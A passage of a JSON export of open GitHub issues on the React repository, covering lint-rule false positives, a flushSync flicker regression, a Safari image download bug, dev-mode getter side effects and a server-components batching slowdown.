;\n}\n```\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.0\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35171/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35167", "id": 3638256157, "node_id": "I_kwDOAJy2Ks7Y22Id", "number": 35167, "title": "Bug: eslint-plugin-react-hooks fails handling null chaining operator (react-hooks/immutability)", "user": { "login": "SCjona", "id": 41996969, "node_id": "MDQ6VXNlcjQxOTk2OTY5", "avatar_url": "https://avatars.githubusercontent.com/u/41996969?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SCjona", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-11-18T13:31:19Z", "updated_at": "2026-01-08T13:47:43Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nI get a false positive on the react-hooks/immutability rule.\n\nReact version: 19.2.0\neslint-plugin-react-hooks version: 7.0.1\n\n## Steps To Reproduce\n\n1. Check example below\n2. Simple removing the `?` in line 7 fixes the issue\n\n\n\n\nLink to code example: https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdOqNxxWYAjFL4AvPihgEAJVJDxk6XVn5cCA8tUIAwmUqUARmTgBrfkKUA+ETtyT5JAHRxYeTpcX1lOSgRfQiYwTEoyTiV8URA6VgQUgG5PAF8AGnwAbQBdQWyJXDMAURISBEZnYUV3MQrdGQJcAAsEAGVccIQkn39AhGCAflCBiPLJSSYSfH4AQm6+mYRheUqYOjmvXHX+waiYuISklJtKCEcs3IKSss8d2DYAHmiAN3wfRWAPhyrgAEghrBB8AB1HCUQgfAD0P1c5Ry4hAeRAehITAA5igQEwALbYPCGTiYIbAfAABUoUFxTDoAHlMMwZPgcvgSDAIET8AByOw2cEAWjiDKZovk9lwoukJKYERgSJiuAFczo-Fa+HwCIRCswSrI7Lo7AgxGQyRAVkoKXEXLAJpiOOMtPpjJZbJY+jKGPAXQgAHcAJLBBB7KxgFDkShqHJAA\n\n\n\n## The current behavior\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value previously passed as an argument to a hook is not allowed. Consider moving the modification before calling the hook.\n\n 7 | \t\tconst theStyle = ref.current?.style;\n 8 | \t\tif (!theStyle) return;\n> 9 | \t\ttheStyle.display = \"block\";\n | \t\t^^^^^^^^ `ref` cannot be modified\n 10 | \t}, []);\n 11 | \treturn
Hello World
;\n 12 | }\n```\n## The expected behavior\nNo error", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35167/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35859 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35158", "id": 3632748015, "node_id": "I_kwDOAJy2Ks7Yh1Xv", "number": 35158, "title": "Bug: eslint-react-hooks false positives on immutability rule", "user": { "login": "Jiiieeef", "id": 6318981, "node_id": "MDQ6VXNlcjYzMTg5ODE=", "avatar_url": "https://avatars.githubusercontent.com/u/6318981?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Jiiieeef", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-11-17T10:40:40Z", "updated_at": "2026-02-14T05:40:39Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "As in [#34776](https://github.com/facebook/react/issues/34776), I have eslint which raises me an error about the immutability rule when I am trying to redirect with `window.location.href`\n\n```\nError: This value cannot be modified\n\nModifying a variable defined outside a component or hook is not allowed. Consider using an effect.\n\n 5 | await new Promise((resolve) => setTimeout(() => {resolve()}, 1000))\n 6 |\n> 7 | window.location.href = \"/\";\n | ^^^^^^^^^^^^^^^ value cannot be modified\n 8 | }\n 9 | \n 10 | return
\n```\n\n\nReact version: 19.2.0\n\n## Steps To Reproduce\n\nIn my case, I am using react-hook-form which provide a `handleSubmit` callback to do the form validation, and it seems that using `window.location.href` in this callback trigger the error. \n\nYou can find a simple reproduction [here](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABACwEMMATAGwQGUoAjAWwEs8BeXACgDMMBKXZgPlxc23ADoZxCAB4AHCDDwkEHQlDJ4OUDHGwNMuALIBPAIIyZI3MHG5c6LHkzV6TPrkJgj29rwFWbtu4A7oSuGAhBuAAKMBCMYAhsbDAIkGQAbgi+ggnYACoMdAjQ2EnZVilpmSIAvgA0uACMAAyt3GISGIG4QQykEEEAdGQQcIS6mIP4KRxuoiAA9PMA3AE1AQEp2LBdADwc8nS4TrSM2MzARKQUzmdsJy7Y3DX8Aba7fTJQeNhGMgjMebYaTYea4BavLq4XYLA4wOiCXCrDDrDAgOpoTAcBgAcxQIEKcgUuF+-ys0TIUBxfQA8jIJlhcDUhLEjgByGiEGgIMgAWhklOpGF5KUIOl56DoMgYFBgCxIDBwbOR4jY1ihCwWkulZHGegwBggSmQuHmhDIZHm4mZYD1YGxqQpVNp9P1YG4y3R4HwAwAkhhgTAMOawCgVGQEjUgA) (without react-hook-form)\n\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35158/reactions", "total_count": 11, "+1": 11, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35157", "id": 3632068128, "node_id": "I_kwDOAJy2Ks7YfPYg", "number": 35157, "title": "[Compiler]: Detect mutation of state values using type information", "user": { "login": "mimorisuzuko", "id": 12094729, "node_id": "MDQ6VXNlcjEyMDk0NzI5", "avatar_url": "https://avatars.githubusercontent.com/u/12094729?v=4", "gravatar_id": "", "url": "https://api.github.com/users/mimorisuzuko", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2025-11-17T07:22:49Z", "updated_at": "2025-11-18T06:21:18Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAejQAkDLkmCCMMAhgJ6YAOUYAFpgLZQAuRjAlhAHYA6HAZlBzhtOmAMIQ65Tgg6M8ACgCUmYD0yY4nMI0wBtVowR0wAGkxgEjAJKHjAXUwBeTACUERIQDoqCAMrNDeV0ARjMAJjMAZjtFAG4eNQ0tHSIAE1SbIydMJScAPhVE9QMjME9KGnkAFjjMDEwAWSYWVg4AcwBCIvNLTON5EuNa+t8iOgRMGAReBCnBBDMOCEmEAFo51NnEgF94jm2EjnrcAHkAIwArBCEKGAhyWcYyIjAwVjaOcdkefkFhDjEEikHBkjAAQrlVACkhxtHofDAzBZGABVCwwBzONweRjeCz+FgIeTADhjBDITAAcjwABtWIhKds4od1JpYTooORUoSAHJk7K5RwFKHqdQIzyk8bZSlgiBnSmxOpYJoBVqdbrItGzeQI4ZYUZSqYzOaIHZ7A7cI5YXC+CAwHQAdwM1GgOjA5CmaTVPwEQnYAPEkmkslEkMSbLh+lsph61mjmNc7i8PgJgV0kTMoUwYRie3DyXMdrjpQFyiFhWh6mRfTAA2jnkg9qUesL9vozUMYC60N2PG2IBMIDZvHeKBArCDbaeDxUmAACjSoG1WidyP8wJhtpheHc6FSzkQzggaatyIvlxx1knGKtNJJWDTZmhUqxtArDsTEhg7+QHy1OA0ECbBSXAgEQNI0qBfbmC0YAjggG4LkuK5rv6YBxAO4Aug6ViyLMpI0mAKC8OBFjbEAA\n\n### Repro steps\n\nRef. https://react.dev/reference/eslint-plugin-react-hooks/lints/immutability \n\nIn the above article, some invalid patterns are introduced, however, the playground do not throw any errors for the violations.\nIs this the limitations for the react compiler or the bug?\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.0\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35157/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35151", "id": 3628945849, "node_id": "I_kwDOAJy2Ks7YTVG5", "number": 35151, "title": "Bug: React 19.2 flushSync flickers briefly", "user": { "login": "Eliav2", "id": 47307889, "node_id": "MDQ6VXNlcjQ3MzA3ODg5", "avatar_url": "https://avatars.githubusercontent.com/u/47307889?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Eliav2", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-11-15T16:53:56Z", "updated_at": "2026-01-30T22:47:02Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "We’re seeing a **production-only flicker regression for flushSync calls in React 19.2** that does **not** occur in React 19.1.\n\n### Demo Links\n\n* **React 19.1 (no flicker):**\n [https://deploy-preview-8--react-responsive-overflow-list.netlify.app/](https://deploy-preview-8--react-responsive-overflow-list.netlify.app)\n\n [source PR](https://github.com/Eliav2/react-responsive-overflow-list/pull/8)\n\n ![Image](https://github.com/user-attachments/assets/df1271c9-c6fe-4437-b288-5f15b027dd1b)\n\n* **React 19.2 (visible flicker):**\n [https://deploy-preview-10--react-responsive-overflow-list.netlify.app/](https://deploy-preview-10--react-responsive-overflow-list.netlify.app)\n\n [source PR](https://github.com/Eliav2/react-responsive-overflow-list/pull/10)\n \n ![Image](https://github.com/user-attachments/assets/bf69ce3e-70d9-4f11-a20c-a6e064d010f6)\n \n\n Note: performance throttling was enabled here to see flickering more clearly while resize\n\n### What Happens\n\nThe component relies on `flushSync` inside `useResizeObserver`:\n[https://github.com/Eliav2/react-responsive-overflow-list/blob/main/src/hooks/useResizeObserver.ts](https://github.com/Eliav2/react-responsive-overflow-list/blob/main/src/hooks/useResizeObserver.ts)\n\nOn resize, we intentionally trigger synchronous layout updates using flushSync to prevent any intermediate visual state from appearing.\n\n### Behavior Difference\n\nReact 19.1:\nflushSync blocks and applies the update immediately — the intermediate state never appears.\n\nReact 19.2:\nReact momentarily exposes the intermediate layout state even inside a flushSync block in production builds, resulting in a very short but noticeable flicker.\n\n### Additional Notes\n\n* Flicker **only** appears in **production builds** of React 19.2.\n* Both 19.1 and 19.2 **do not flicker** in local development mode.\n* No code changes between demos—only the React version changed.\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35151/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35133", "id": 3623103515, "node_id": "I_kwDOAJy2Ks7X9Cwb", "number": 35133, "title": "Bug: Fallback image unnecessarily downloaded in `` element on Safari", "user": { "login": "bviale", "id": 6116878, "node_id": "MDQ6VXNlcjYxMTY4Nzg=", "avatar_url": "https://avatars.githubusercontent.com/u/6116878?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bviale", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2025-11-13T22:42:48Z", "updated_at": "2025-12-16T11:59:41Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "When a element with a fallback image is rendered by React, Safari downloads both the fallback image and the correct image from the element. This issue occurs only in Safari and results in the fallback image being downloaded unnecessarily.\n\nReproduced on macOS Safari 18.6\n\nReact version: 19.2.0\n\n## Steps To Reproduce\n\n1. Add the following tags inside a React component JSX : \n```\n \n \n \n \"Flowers\"\n\n \n```\n2. Open the app on Safari\n3. Observe that 2 images are downloaded : the one corresponding to the screen size **and** the fallback image\n4. Move the element to the root index.html so it is rendered outside of React\n5. Observe that only the image corresponding to the screen size is downloaded \n\n\nLink to code example:\n\nhttps://codesandbox.io/p/sandbox/dreamy-swartz-rfm5wv\n\n## The current behavior\n\"Image\"\n\nThe fallback image is being downloaded unnecessarily.\n\n## The expected behavior\n\nOnly one picture should be downloaded, just like with other browsers.\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35133/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35130", "id": 3622160562, "node_id": "I_kwDOAJy2Ks7X5ciy", "number": 35130, "title": "Bug: ReactFlightAsyncDebugInfo test 'can track async information when awaited' fails due to snapshot mismatch", "user": { "login": "THE-Amrit-mahto-05", "id": 181638585, "node_id": "U_kgDOCtOVuQ", "avatar_url": "https://avatars.githubusercontent.com/u/181638585?v=4", "gravatar_id": "", "url": "https://api.github.com/users/THE-Amrit-mahto-05", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-11-13T17:36:19Z", "updated_at": "2026-01-08T12:25:33Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\n\nReact version:Experimental / latest commit\n\n\n## Steps To Reproduce\n\n1. Clone the React repository.\n2. Run the following test:\n yarn test packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js --testNamePattern=\"can track async information when awaited\" --runInBand --verbose\n3. Observe that the test fails due to a snapshot mismatch.\n\nhttps://github.com/user-attachments/assets/426920b1-7338-4d5d-833e-22e33a7d5c4c\n\n-->\n\nLink to code example: packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\n\n\n# Context: Snapshot Mismatch in ReactFlightAsyncDebugInfo-test\n\n### Failing Test Case\n\ntest(\"can track async information when awaited\", async () => {\n const result = await someAsyncFunction();\n expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n Object {\n \"value\": undefined,\n }\n `);\n});\n\n### implementation\n\nexport async function someAsyncFunction() {\n return {\n value: [undefined],\n };\n}\n-->\n\n### Actual Output\n```js\nObject {\n \"value\": [undefined],\n}\n\n-->\n\n## The current behavior\nThe inline snapshot does not match the current output. The test expects `\"value\": undefined` but receives `\"value\": [ , ]`.\n\n## The expected behavior\nThe test should pass and the snapshot should match the current output.\n\n\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35130/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35467 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35126", "id": 3620372453, "node_id": "I_kwDOAJy2Ks7Xyn_l", "number": 35126, "title": "Bug: Dev Mode breaks applications: calling getters in props objects causes side-effects", "user": { "login": "yGuy", "id": 2486305, "node_id": "MDQ6VXNlcjI0ODYzMDU=", "avatar_url": "https://avatars.githubusercontent.com/u/2486305?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yGuy", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 12, "created_at": "2025-11-13T09:39:02Z", "updated_at": "2025-12-05T14:21:53Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "In dev mode, there is a feature that inspects the properties of all props passed to a component, recursively. This happens using a simple `for (key in obj)` loop and thus traverses all enumerable properties, recursively, including getters. This feature cannot be disabled without disabling dev mode and it will only trigger in slightly advanced setups and thus is hard to debug.\nIterating all enumerable keys for getters in an object is a problem, because these getters are also evaluated using simple unconditional `obj[key]` syntax, causing possible side-effects to happen for non-trivial getters. \nAlthough frowned-upon in many cases, it is valid for getters to have side-effects that could change the state of the objects or throw exceptions. Specifically in objects that are unrelated to the React components.\nHowever, in dev mode, this causes the application to break or to behave differently in non-dev mode with hard to diagnose bugs.\n\nReact version: 19.2.0\n\n(this is a regression)\n\n## Steps To Reproduce\n\n1. Run the following demo in dev mode \n\n```\nimport {useEffect, useState} from 'react'\nimport {createRoot} from \"react-dom/client\";\n\nfunction getData() {\n const result = {}\n result._someInnocentUnusedProp = {}\n Object.defineProperty(result._someInnocentUnusedProp, \"nestedUnusedCalculatedProp\", {\n get: () => {\n console.log('get nestedUnusedCalculatedProp called - why?')\n throw new Error(\"I should not call getters unconditionally\")\n }, enumerable: true\n })\n return result._someInnocentUnusedProp\n}\n\nfunction DataRenderer() { return null }\n\nfunction Child(props) {\n return
child: {props.count}
;\n}\n\nfunction App() {\n const [count, setCount] = useState(0);\n\n // just to cause a re-render\n useEffect(() => {\n if (count > 5) return\n setCount((c) => c + 1);\n }, [count]);\n\n return ;\n}\n\ncreateRoot(document.getElementById(\"root\")).render();\n```\n\n2. You will get a stacktrace like the following:\n\n```\n Uncaught Error: I should not call getters unconditionally\n at Object.get [as nestedUnusedCalculatedProp] (main.jsx:10:19)\n at addObjectDiffToProperties (react-dom-client.development.js:3968:21)\n at addObjectDiffToProperties (react-dom-client.development.js:4016:23)\n at logComponentRender (react-dom-client.development.js:4130:22)\n at commitPassiveMountOnFiber (react-dom-client.development.js:15469:13)\n at recursivelyTraversePassiveMountEffects (react-dom-client.development.js:15439:11)\n at commitPassiveMountOnFiber (react-dom-client.development.js:15718:11)\n at recursivelyTraversePassiveMountEffects (react-dom-client.development.js:15439:11)\n at commitPassiveMountOnFiber (react-dom-client.development.js:15476:11)\n at recursivelyTraversePassiveMountEffects (react-dom-client.development.js:15439:11)\n```\n\nLink to code example:\n\n[Code Sandbox](https://codesandbox.io/p/sandbox/optimistic-ioana-ct7j24)\n\n(Sometimes you need to reload the page a couple of times for the issue to appear. The timing is not deterministic, which makes the issue especially hard to diagnose.)\n\n## The current behavior\n\nReact Dev mode evaluates getters recursively from time to time, possibly causing side effects.\n\n\n## The expected behavior\n\nRect dev mode should not evaluate all getters in props objects unconditionally.\n\n\n## My thoughts\n\nThe problematic code is here, which evaluates all enumerable properties, even from prototypes: \n\nhttps://github.com/facebook/react/blob/3a495ae72264c46b4a4355904c6b4958b0a2f9b2/packages/shared/ReactPerformanceTrackProperties.js#L295\n\nThe workaround here (other than not using dev mode) is to make the properties non-enumerable, however that is not always feasible. \n\nMy suggested fix would be to not evaluate getters for the logging purposes. They are likely to return new objects, perform a lot of work and thus slow down the execution, may change the state of the application, or may even throw. Only ever compare fields to avoid changing the state or executing code at all costs. \n\nUsing `Object.keys()` would improve the situation for properties defined on classes, but ideally \"getter\"s should not be called at all, no matter whether they are defined as own properties or prototype properties.\n\nThe current state requires complicated workarounds and causes hard to debug issues in complex applications. As it only affects dev-mode, I would love to see this improved in a bugfix so that people can upgrade to 19.2", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35126/reactions", "total_count": 13, "+1": 12, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35125", "id": 3619123723, "node_id": "I_kwDOAJy2Ks7Xt3IL", "number": 35125, "title": "Bug: Performance regression due to deferTask not batching", "user": { "login": "mhart", "id": 367936, "node_id": "MDQ6VXNlcjM2NzkzNg==", "avatar_url": "https://avatars.githubusercontent.com/u/367936?v=4", "gravatar_id": "", "url": "https://api.github.com/users/mhart", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 10191591611, "node_id": "LA_kwDOAJy2Ks8AAAACX3dYuw", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Server%20Components", "name": "Component: Server Components", "color": "aaaaaa", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2025-11-13T02:50:26Z", "updated_at": "2026-02-12T21:35:35Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Overview\n\nPulling this out of #35089 (read this for background)\n\nAs mentioned above, https://github.com/facebook/react/pull/33030 introduced a fixed `MAX_ROW_SIZE=3200`, above which elements are deferred, which introduced a performance regression for certain payloads.\n\nA large part of the issue appears to be that the children aren't deferred in batches, they're deferred individually. This can result in many rows that are *far* smaller than the `MAX_ROW_SIZE` – because `renderModelDestructive` will call `deferTask` on each child, which then becomes its own lazy chunk, until all children have finished being serialized, and the `serializedSize` is reset again.\n\n## Example\n\nI've created a [small reproduction](https://github.com/mhart/react-server-defer-task) that illustrates the problem. It's a ~120kb page with 20 sections each containing ~100 paragraphs. It can be made roughly 1.75x faster by better batching.\n\nUsing plain React and `renderToReadableStream` this page renders in 1.02ms on Bun, and 1.27ms on Node.js. In Next.js (16.0.3) it's roughly 15x slower with the current batching strategy.\n\nThis screenshot shows an example of what happens with the RSC stream: the first row reaches its limit after a few children, and starts deferring, but as you can see, each deferred child becomes its own row (a lazy chunk). So you can easily end up with hundreds or thousands of tiny rows if you're just synchronously rendering a table or similar.\n\n\"Image\"\n\nThis example ends up with ~2000 rows, but each row is on average only 60 chars in length – far below the 3200 limit. And each row has non-trivial overhead as (in the Next.js case) it needs to serialized, de-serialized, and then re-serialized again (NB: this would be another optimization that would be good to tackle).\n\nIncreasing the `MAX_ROW_SIZE` is one way to reduce the number of rendered rows which is what #35089 does and produces significant results, but a better fix would be to allow these children to be batched together into rows of ~MAX_ROW_SIZE length.\n\nThat would obviate the need for #35089, or at least make it far less needed.\n\nThanks to @gnoff for chatting some of this through too.\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35125/reactions", "total_count": 11, "+1": 6, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 4 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35118", "id": 3615848381, "node_id": "I_kwDOAJy2Ks7XhXe9", "number": 35118, "title": "[Compiler Bug]: setter not correctly recognized as setter, required in `useCallback` dependency array", "user": { "login": "phryneas", "id": 4282439, "node_id": "MDQ6VXNlcjQyODI0Mzk=", "avatar_url": "https://avatars.githubusercontent.com/u/4282439?v=4", "gravatar_id": "", "url": "https://api.github.com/users/phryneas", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-11-12T10:07:25Z", "updated_at": "2025-11-13T13:24:23Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to 